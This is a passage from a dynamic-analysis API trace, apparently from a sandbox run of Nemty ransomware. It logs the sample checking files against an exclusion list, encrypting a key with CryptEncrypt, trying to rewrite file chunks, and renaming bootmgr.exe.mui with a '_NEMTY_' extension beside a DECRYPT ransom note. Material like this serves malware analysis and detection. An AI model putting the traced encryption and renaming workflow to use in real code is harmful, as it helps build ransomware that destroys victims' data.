(lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0045.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0045.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.878] Sleep (dwMilliseconds=0x5) [0045.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf0e9a30, dwHighDateTime=0x1d561e7)) [0045.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf0e9a30, dwHighDateTime=0x1d561e7)) [0045.893] GetLastError () returned 0xb7 [0045.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.893] GetLastError () returned 0xb7 [0045.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.893] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.893] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.894] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.894] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="RSMKq5x4URMFWLJJtbBd1ghbe1DL1FFQShmEz2wJi9vOnBy3BMvSVaqpLTKOUmm2\r\noPeeXgRbUvPStHOl3G41w4OzT6nk+6VwIfuYH6/uNGRRWOkkkNokZJsRJLkxHdU8\r\noz2th+SBNkF01LPxJ1nXVLBLB719b9rnhphtbFLG5TnPoCu2iDZ2WXCt1uITdJoo\r\nqRFgO/2KaMigCm5K1V5G4s+Ks1FKya9isaee9Xe5bjR/tTCPy4Rp+Oy4+hHVDRH5\r\npsJ2GCjc2o/YJDI6lat1epESTpuswCDBL+bcVE4sZehbS67zkW5wRXEYLlGvH+RK\r\noWF1zpOQdIjLQRTQp6O8dQ==\r\n", pcchString=0x653f2dc) returned 1 [0045.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.894] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.894] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.903] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.932] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.932] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.995] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.995] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.001] CloseHandle (hObject=0xffffffff) returned 0 [0046.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.001] MoveFileW (lpExistingFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0046.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0046.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.002] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf09d770, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf09d770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf09d770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.002] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.003] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.003] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.003] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.003] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.003] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.003] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 